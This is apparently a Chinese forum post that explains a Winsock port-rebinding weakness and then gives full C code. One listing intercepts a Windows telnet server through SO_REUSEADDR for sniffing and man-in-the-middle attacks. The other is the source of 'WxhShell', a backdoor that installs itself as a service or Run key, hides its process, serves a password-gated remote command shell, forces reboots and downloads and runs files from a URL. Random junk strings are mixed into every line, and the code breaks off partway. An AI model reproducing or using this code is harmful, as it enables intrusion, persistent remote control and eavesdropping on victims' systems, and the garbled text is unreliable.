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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Yg '(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <Tjhj *  
zO\_^A|8H  
  saddr.sin_family = AF_INET; ]Ss63Vd  
[[^r;XKQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >^`#%$+  
XrTc5V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); { 'A 15  
@xBb|/I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 mfI[9G  
XchD3p+uB  
  这意味着什么?意味着可以进行如下的攻击: @H$am  
Od;k}u6;<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /<LjD  
_ymSo`Iv R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G@D;_$a  
@q<h.#9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 v"(6rZsa  
D[@- `F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p+b9D  
hl**G4z9q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2& Hl wpx  
jWxa [ >  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |>j^$^l~  
[7`S`\_NK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YK8l#8K  
b_{+OqI  
  #include e[T3,2C  
  #include &f'Lll  
  #include ~P,Z@|c4  
  #include    8b,Z)"(U3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F'{T[MA  
  int main() }.|a0N 5  
  { !?i9fYu  
  WORD wVersionRequested; E.:eO??g  
  DWORD ret; gf9,/m  
  WSADATA wsaData; lxXF8c>U  
  BOOL val; u];\v%b  
  SOCKADDR_IN saddr; SP2";,%/9  
  SOCKADDR_IN scaddr; u{W I 4n?  
  int err; ]nIVP   
  SOCKET s; E]a,2{&8<  
  SOCKET sc; %:l\Vhhz  
  int caddsize; p,8:(|(  
  HANDLE mt; 0[g5[?Vy  
  DWORD tid;   '2|mg<Ft  
  wVersionRequested = MAKEWORD( 2, 2 ); :WH0=Bieh  
  err = WSAStartup( wVersionRequested, &wsaData ); ^JIs:\ g<<  
  if ( err != 0 ) { PR7bu%Y*eD  
  printf("error!WSAStartup failed!\n"); ?5d[BV   
  return -1; {|zQ .s A  
  } !C' Y 7  
  saddr.sin_family = AF_INET; f]Z9=  
   6 ;\>,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W}(xE?9&  
`a7b,d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W7V#G(cpU  
  saddr.sin_port = htons(23); <3k9 y^0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i2O$oHd  
  { bb/A}< zD  
  printf("error!socket failed!\n"); ,`ehR6b  
  return -1; ^?0WE   
  } bq5?fPBrq  
  val = TRUE; BXl Y V"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 A sf]sU..  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]ao%9:P;  
  { >?X(, c  
  printf("error!setsockopt failed!\n"); x2]chN  
  return -1; z{> )'A/  
  } Bb5RZ#oa  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5&U?\YNLa  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bb`DyUy ^+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 MIAC'_<-e  
-S $Y0FDV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zZCssn;[  
  { ^zS|O]Tx  
  ret=GetLastError(); 5@Xy) z  
  printf("error!bind failed!\n"); >RmL0d#B  
  return -1; YQfQ[{kp  
  } 7LW %:0  
  listen(s,2); 6x_D0j%^]  
  while(1) hKK"D:?PRs  
  { xb(y15R\I  
  caddsize = sizeof(scaddr); Ria*+.k@"B  
  //接受连接请求 24_/JDz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b;(BMO,(  
  if(sc!=INVALID_SOCKET) /kd6Yq(y  
  { V0$:t^^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N^tH&\G\m  
  if(mt==NULL) ZEU/6.  
  { [E%Ov0OC  
  printf("Thread Creat Failed!\n"); {B6tGLt#bf  
  break; &f>1/"lnd\  
  } Q(YQ$ i"S  
  } F1zsGlObu}  
  CloseHandle(mt); O>L 5 dP  
  } Y)v_O_`  
  closesocket(s); 1|\/2  
  WSACleanup(); #v4q:&yKf  
  return 0; 1:iT#~n  
  }   rv97Wm+  
  DWORD WINAPI ClientThread(LPVOID lpParam) GSu&Z/Jo  
  { W[tX%B  
  SOCKET ss = (SOCKET)lpParam; mo3HUXf}8  
  SOCKET sc; H#j Z'I  
  unsigned char buf[4096]; V2|XcR  
  SOCKADDR_IN saddr; 3DO ^vV  
  long num; |nj,]pA  
  DWORD val; d>NM4n[h8  
  DWORD ret; [S!_ubP5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dg]: JU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n$y)F} .-  
  saddr.sin_family = AF_INET; 4#y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ueazAsk3g  
  saddr.sin_port = htons(23); g!`$bF=e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f'<MDLl  
  { 7Z<ba^r}  
  printf("error!socket failed!\n"); ?5g0#wqI  
  return -1; /? j vv&  
  } !* C9NX  
  val = 100; XZFM|=%X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /Z*XKIU6v/  
  { Q7$K,7flf;  
  ret = GetLastError(); 7R=cxD&  
  return -1; dLMKfh/4Q  
  } jQs"8[=s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L(2KC>GvA  
  { le-Q&*  
  ret = GetLastError(); 4>&%N\$*  
  return -1; &u'$q  
  } 2Y@:Vgg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZsPT!l,  
  { vA*Ud;%R  
  printf("error!socket connect failed!\n"); ,:QzF"MV  
  closesocket(sc); _8CE|<Cn  
  closesocket(ss);  !Z'x h +  
  return -1; (hn@+hc  
  } D^knN-nZ*  
  while(1) #;32(II  
  { Uva b*9vX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2 R !1Vl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *c+Kqz-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y[s* %yP3l  
  num = recv(ss,buf,4096,0); aD1G\*AFJ  
  if(num>0) %!G]H   
  send(sc,buf,num,0); f"j"ZM{~U  
  else if(num==0) pUs s_3  
  break; \lnpsf  
  num = recv(sc,buf,4096,0); w34&m  
  if(num>0) ;L5'3+U  
  send(ss,buf,num,0); ,[lS)`G  
  else if(num==0) gm63dE>  
  break; S&A, Q'  
  } X/_e#H0  
  closesocket(ss); v:MJF*/  
  closesocket(sc); ?X1vU0 c  
  return 0 ; I&oHVFY+  
  } Y7yh0r_  
meHAa`  
gF@51K  
========================================================== ckXJ9>  
`,mE '3&  
下边附上一个代码,,WXhSHELL 7T]}<aK<c[  
#-ioLt%  
========================================================== \>8"r,hG|  
%C_RBd  
#include "stdafx.h" ,!BiB*  
)p&FDK#ob=  
#include <stdio.h> ]bG8DEwD  
#include <string.h> @aU%1h5W;l  
#include <windows.h> P#/k5]g  
#include <winsock2.h> Ds4n>V,o  
#include <winsvc.h> :xitV]1.   
#include <urlmon.h> 36154*q  
bJJB*$jW=  
#pragma comment (lib, "Ws2_32.lib") x[+t  
#pragma comment (lib, "urlmon.lib") d&: ABI  
_cqB p7  
#define MAX_USER   100 // 最大客户端连接数  7(;M  
#define BUF_SOCK   200 // sock buffer c}a.  
#define KEY_BUFF   255 // 输入 buffer .]+oE$,!  
?\dY!  
#define REBOOT     0   // 重启 d`D<PT(\  
#define SHUTDOWN   1   // 关机 seh1(q?Va4  
b[<zT[.:  
#define DEF_PORT   5000 // 监听端口 \$Xo5f<  
e&G!5kz!  
#define REG_LEN     16   // 注册表键长度 T6[];|%W  
#define SVC_LEN     80   // NT服务名长度 Y/1KvF4)k  
-s`/5kD  
// 从dll定义API =v-BzF15  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1$Rua  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zY\pZG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eRkvNI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]sBSLEie '  
9(>]6|XS  
// wxhshell配置信息 {_0m0 8  
struct WSCFG { ?\MvAG7Y  
  int ws_port;         // 监听端口 MA\"JAP/  
  char ws_passstr[REG_LEN]; // 口令 A;nrr1-0  
  int ws_autoins;       // 安装标记, 1=yes 0=no D"^4X'6  
  char ws_regname[REG_LEN]; // 注册表键名 vtyk\e)   
  char ws_svcname[REG_LEN]; // 服务名 a?bSMt}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Q}p+/-U\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aqq7u5O1r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w] b3,b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %N#8D<ULd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {&,9Zy]"S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M>+FIb(  
<aJdm!6  
}; BsV2Q`(gT  
+cQGX5 K  
// default Wxhshell configuration |QwX  
struct WSCFG wscfg={DEF_PORT, cd1M0z  
    "xuhuanlingzhe", !Z978Aub3&  
    1, <[O8 {9j  
    "Wxhshell", DIR_W-z  
    "Wxhshell", u_[^gS7  
            "WxhShell Service", fHTqLYd-  
    "Wrsky Windows CmdShell Service", s@^ (1g[w`  
    "Please Input Your Password: ", %Q:i6 ~  
  1, '\qd{mM\r  
  "http://www.wrsky.com/wxhshell.exe", 7=yC*]BH-=  
  "Wxhshell.exe" ?4%'6R  
    }; hA1\+r  
.v<c_~y  
// 消息定义模块 0PIiG-o9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7'pCFeA>=T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aa:Oh^AJy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ))"J  
char *msg_ws_ext="\n\rExit."; ^:g8mt  
char *msg_ws_end="\n\rQuit."; 9U1cH qV  
char *msg_ws_boot="\n\rReboot..."; zlC|Spaf  
char *msg_ws_poff="\n\rShutdown..."; ]Igd<  
char *msg_ws_down="\n\rSave to "; j+0=)Q%I=  
\ FW{&X9a  
char *msg_ws_err="\n\rErr!"; jQjtO"\JG  
char *msg_ws_ok="\n\rOK!"; Qhlgu!  
e%#(:L  
char ExeFile[MAX_PATH]; j)IXe 0dMC  
int nUser = 0; 0Lcd@3XL  
HANDLE handles[MAX_USER]; ,c#IxB/0  
int OsIsNt; [ iE%P^  
k fER  
SERVICE_STATUS       serviceStatus; `Oz c L  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jUjgxP*7m  
'@1oM1  
// 函数声明 ~nk{\ rWO  
int Install(void); PM3kI\:)m  
int Uninstall(void); .{+<o  
int DownloadFile(char *sURL, SOCKET wsh); *:r@-=M3=  
int Boot(int flag); wYnsd7@I  
void HideProc(void); r )8[LN-  
int GetOsVer(void); P_11N9C  
int Wxhshell(SOCKET wsl); vZj:\geV  
void TalkWithClient(void *cs); .6Jo1$+  
int CmdShell(SOCKET sock); dL%?k@R  
int StartFromService(void); SaK aN#C  
int StartWxhshell(LPSTR lpCmdLine); emp*j@9  
F9rxm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4QbDDvRQ^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Zt: .+.dV  
39| W(,  
// 数据结构和表定义 r7w1~z  
SERVICE_TABLE_ENTRY DispatchTable[] = ^`ah\L  
{ \T)2J|mW  
{wscfg.ws_svcname, NTServiceMain}, XO sPKq  
{NULL, NULL} 5Ug.J{d  
}; cVjs-Xf7D%  
nX(2&<  
// 自我安装 A&%vog]O  
int Install(void) WW33ZJ  
{ ]AoRK=aH  
  char svExeFile[MAX_PATH]; k}T#-Gb  
  HKEY key; :o$k(X7a  
  strcpy(svExeFile,ExeFile); P]]re,&R  
e1$T%?(&[  
// 如果是win9x系统,修改注册表设为自启动 G'b*.\=  
if(!OsIsNt) { bup)cX^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KQ0Zy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S?pWxHR]  
  RegCloseKey(key); +"1@ 6,M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /NvHM$5O%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =7{n 2  
  RegCloseKey(key); 3^m0 k E  
  return 0; wLn,x;;<  
    }  ~DYUI#x  
  } .Cq'D.  
} r8.R?5F@  
else { v@_}R_pX  
_P6e%O8C#  
// 如果是NT以上系统,安装为系统服务 W"j&':xD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nf#;]FijB  
if (schSCManager!=0) OW}ny  
{ * E$&  
  SC_HANDLE schService = CreateService J1P jMb}  
  ( fuRCM^U(  
  schSCManager, VX+:k.}  
  wscfg.ws_svcname, $oF0[}S  
  wscfg.ws_svcdisp, YN.[KQ(!  
  SERVICE_ALL_ACCESS, klkshlk d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PVfky@wl"  
  SERVICE_AUTO_START, S\$=b_.  
  SERVICE_ERROR_NORMAL, qg_M9xJ  
  svExeFile, 4:1URhE  
  NULL,  ! @EZ  
  NULL, .|ZO2MCd  
  NULL, 9j'(T:Zs  
  NULL, | ]#PF*  
  NULL :SBB3G)|  
  ); jL^3/0"o  
  if (schService!=0) -^C^3pms  
  { .W;,~.l  
  CloseServiceHandle(schService); Z=c&</9e  
  CloseServiceHandle(schSCManager); d v8q&_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {=3&_/9s){  
  strcat(svExeFile,wscfg.ws_svcname); ~m`j=ot  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PBkTI2 v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `i~kW  
  RegCloseKey(key); zDakl*  
  return 0; sVT:1 kI  
    } ut SW>  
  } B EN U  
  CloseServiceHandle(schSCManager); _ tba:a(  
} 92F 9)S{"  
} GXk]u  
qDlh6W?}k  
return 1; 9(-f)$u  
}  }BFX7X  
&9j*Y  
// 自我卸载 gUa-6@  
int Uninstall(void) C-2{<$2k  
{ 5rX_85]  
  HKEY key; lE=&hba  
z^,P2kqK_  
if(!OsIsNt) { @IE.@1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $^K12Wcp-  
  RegDeleteValue(key,wscfg.ws_regname); _&SST)Y|  
  RegCloseKey(key); Xtk3~@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BV"l;&F[  
  RegDeleteValue(key,wscfg.ws_regname); b)(si/]\  
  RegCloseKey(key); c3aBPig\D  
  return 0; xwhS[d  
  } +o3 ZQ9  
} O\X=vh/D  
} +T8h jOkC  
else { ]H-5    
Y@l>4q")  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |s!<vvp]  
if (schSCManager!=0) <^n@q f}  
{ Y 8Dn&W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !Bu=?gf  
  if (schService!=0)  =v!'?  
  { =Sjf-o1V  
  if(DeleteService(schService)!=0) { N2uTWT>  
  CloseServiceHandle(schService); MwE^.6xl{  
  CloseServiceHandle(schSCManager); `p#u9M>  
  return 0; XjFaP {  
  } O*lMIWx  
  CloseServiceHandle(schService); pY$DOr- r`  
  } Bk;/>gD  
  CloseServiceHandle(schSCManager); !*!i&0QC~R  
} -~NjZ=vPh  
} :G4)edwe  
(nnIRN<}$  
return 1; 0f;`Zj0l8  
} t~V?p'a0ys  
[A'9sxG  
// 从指定url下载文件 ~Q2,~9Dkc  
int DownloadFile(char *sURL, SOCKET wsh) K<vb4!9Z9  
{ g0M/Sv  
  HRESULT hr; AVO$R\1YR  
char seps[]= "/"; v$~ZT_"(9  
char *token; Ksb55cp`  
char *file; 2>F `H7W  
char myURL[MAX_PATH]; yP"D~u  
char myFILE[MAX_PATH]; F*_ytL  
OV`#/QL  
strcpy(myURL,sURL); A3A"^f$$  
  token=strtok(myURL,seps); ]]6  
  while(token!=NULL) Ou5,7Ne  
  { Clmz}F  
    file=token; +i(;@% kv  
  token=strtok(NULL,seps); !glGW[r/7  
  } ."h>I @MH  
8;fi1 "F;}  
GetCurrentDirectory(MAX_PATH,myFILE); qlg?'l$03)  
strcat(myFILE, "\\"); f}:W1&LhI?  
strcat(myFILE, file); v"V?  
  send(wsh,myFILE,strlen(myFILE),0); ]}9D*V  
send(wsh,"...",3,0); ~PA6e+gmL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %&&;06GU}  
  if(hr==S_OK) wh#x`Nc  
return 0; _8s1Wh G  
else Nrfj[I  
return 1; 3.V-r59  
q/3 )yG6s  
} R zn%!d^$>  
D`@*udn=  
// 系统电源模块 u= ydX  
int Boot(int flag) }^Ky)**  
{ P7y.:%DGD0  
  HANDLE hToken; 89l{h8R  
  TOKEN_PRIVILEGES tkp; 11BfJvs:  
X.)D"+xnH  
  if(OsIsNt) { \"=b8x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S1E=EVG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ky{-NrK  
    tkp.PrivilegeCount = 1; ]V.0%Ccw;.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~,O}wT6q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {"@E_{\  
if(flag==REBOOT) { $ v~I n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |emZZj  
  return 0; 8\9s,W:5  
} yUlYf#`H  
else { YY9Ub  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ca?;!~%zA  
  return 0; 6^v HFJ$  
} ZE"Z_E;r  
  } @ Yzc?+x  
  else { VQ'DNv| 9  
if(flag==REBOOT) { K0z@gWGE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $S{]` +  
  return 0; bT#re  
} -A;4""  
else { %N0cp@Vz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DgRA\[c  
  return 0; <O30X !QuK  
} )ZQML0}P;  
} YDdY'd`*  
P4.snRQ  
return 1; t9+ME|  
} Sp^jC Xu  
sN9 SuQ  
// win9x进程隐藏模块 HA::(cXL  
void HideProc(void) # vBS7ba  
{ = *~Q5F  
7(1UXtT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G2e0\}q  
  if ( hKernel != NULL ) ju%t'u\'  
  { /;\{zA$uC=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (&ABfm/t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &a];"2  
    FreeLibrary(hKernel); 7l|D!`BS  
  } Ss c3uo0  
^VAvQ(b!:i  
return; [Csv/  
} 7n*[r*$  
3^J~ts{*  
// 获取操作系统版本 a>/cVu'kz  
int GetOsVer(void) ! fSM6Vo  
{ )OgQ&,#  
  OSVERSIONINFO winfo; KWB;*P C^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gBCO>nJws  
  GetVersionEx(&winfo); UJ8V%0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :KL5A1{  
  return 1; 35X4] t  
  else Bk9? =  
  return 0; ~Q/G_^U:  
} X9xXL%Q  
Z_Z; g]|!  
// 客户端句柄模块 h,WF'X+  
int Wxhshell(SOCKET wsl) ,}hJ)  
{ IoI ,IX]i)  
  SOCKET wsh; 0zvA>4cq)  
  struct sockaddr_in client; g<"k\qs7  
  DWORD myID; ,@]rvI6 x  
S0uEz;cE  
  while(nUser<MAX_USER) Rh.CnCbM  
{ _>"f&nb O  
  int nSize=sizeof(client); @p}"B9h*^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~0ku,P#D  
  if(wsh==INVALID_SOCKET) return 1; J&bhR9sF  
y@?t[A#v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4Ev#`i3~  
if(handles[nUser]==0) RN"O/b}qQ  
  closesocket(wsh); !04zWYHo  
else !^EdB}@yS  
  nUser++; `[*nUdG  
  } g.re`m|Aj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *He%%pk  
OKH4n/pq  
  return 0; hL8GW> `a  
} |{G GATni  
u^!c:RfE?  
// 关闭 socket c ii]-%J}c  
void CloseIt(SOCKET wsh) ^`&?"yj<z  
{ M((]> *g  
closesocket(wsh); !u;r<:g!  
nUser--; :J{| /"==  
ExitThread(0); w6 x{ <d  
} 5lc%GJybV  
_Ka6! 9  
// 客户端请求句柄 _ Db05:r@  
void TalkWithClient(void *cs) _poe{@h!  
{ =Q!)xEK  
J"&jR7-9  
  SOCKET wsh=(SOCKET)cs; ."#M X!  
  char pwd[SVC_LEN]; '.mHx#?7  
  char cmd[KEY_BUFF]; uuA q\YZy/  
char chr[1]; | <q9Ee  
int i,j; 8.'[>VzBL  
=Bq3O58+  
  while (nUser < MAX_USER) { Z.]=u(=a  
\z4I'"MC.9  
if(wscfg.ws_passstr) { {B_pjs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "&,Gn#'FG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xp4w9.X5(  
  //ZeroMemory(pwd,KEY_BUFF); lOc!KZHUp  
      i=0; 5:o$]LkOWC  
  while(i<SVC_LEN) { keBf^NY  
.|pyloL.  
  // 设置超时 hLZ<h7:  
  fd_set FdRead; TC=djC4$/  
  struct timeval TimeOut; EAgNu?L  
  FD_ZERO(&FdRead); @vC7j>*4B  
  FD_SET(wsh,&FdRead); !p4y@U{  
  TimeOut.tv_sec=8; "XU M$:D  
  TimeOut.tv_usec=0; g@<E0 q&`$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Eep*,Cnt0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c:R`]4o  
\;h+:[<e1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gxtb@`f  
  pwd=chr[0]; A@W/  
  if(chr[0]==0xd || chr[0]==0xa) { XYOPX>$T  
  pwd=0; ~_z"So'|F_  
  break; 9 NO^ '  
  } PyS~2)=B  
  i++; D?v)Xqw=  
    } $E_9AaX  
#DN5S#Ic  
  // 如果是非法用户,关闭 socket >~g(acH%`x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]$StbBP  
} 7^fpbrj  
wClX3l>y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z=B6fu*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [F^qa/vJ10  
Nvlfi8.  
while(1) { LxM.z1  
j=%^CRum  
  ZeroMemory(cmd,KEY_BUFF); Q}a,+*N.  
<h$Nh0  
      // 自动支持客户端 telnet标准   Bc/'LI.%  
  j=0; &?],uHB?d  
  while(j<KEY_BUFF) { =?*6lS}gy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rcC}4mNe  
  cmd[j]=chr[0]; aX oD{zA  
  if(chr[0]==0xa || chr[0]==0xd) { %7X<:f|N8x  
  cmd[j]=0; W;Rx(o>  
  break; /-#1ys#F=  
  } Lv`*+;1 K  
  j++; d,Fj|}S  
    } woHB![Q,  
]vyu!  
  // 下载文件 "5KJ /7q!  
  if(strstr(cmd,"http://")) { NV|[.g=lg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )YDuq(g&  
  if(DownloadFile(cmd,wsh)) UN~dzA~V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M  `QYrH  
  else r((2.,\Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,&DK*LT8U  
  } a?zn>tx  
  else { I^M %+\  
jm-J_o;}z6  
    switch(cmd[0]) { p19[qy~.  
  F-\Swbx+  
  // 帮助 kWF/SsE  
  case '?': { pJ` M5pF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *4i)aj  
    break; 4Y):d!'b  
  } .4M8  
  // 安装 di@4'$5#  
  case 'i': { CQf<En|1  
    if(Install()) dQ6n[$Q@N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F{#m~4O  
    else p.r \|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CDDx %#eG>  
    break; K[wOK  
    } `1cGb*b/  
  // 卸载 )'<B\P/  
  case 'r': { ugtzF  
    if(Uninstall())  T4}SF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yI&{8DCCw  
    else \m.ap+dFa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6^W6As0  
    break; H-?wEMi)*u  
    } ]!u12^A{  
  // 显示 wxhshell 所在路径 +3HukoR(  
  case 'p': { 5yvaY "B  
    char svExeFile[MAX_PATH]; <b-BJ2],k  
    strcpy(svExeFile,"\n\r"); "6T: &>  
      strcat(svExeFile,ExeFile); N30w^W&  
        send(wsh,svExeFile,strlen(svExeFile),0); \htL\m^$9  
    break; j3Ng] @N  
    } #q;hX;Va  
  // 重启 K3eYeXV  
  case 'b': { R&z)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4Xna}7  
    if(Boot(REBOOT)) .g CC$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :<-,[(@bR  
    else { Mo+ mO&B  
    closesocket(wsh); S(7_\8 h  
    ExitThread(0); ?e? mg  
    } U Ox$Xwp5&  
    break; |E\0Rv{H3  
    } aR }|^ex  
  // 关机 sZ,MNF8i  
  case 'd': { Nhh2P4gH  
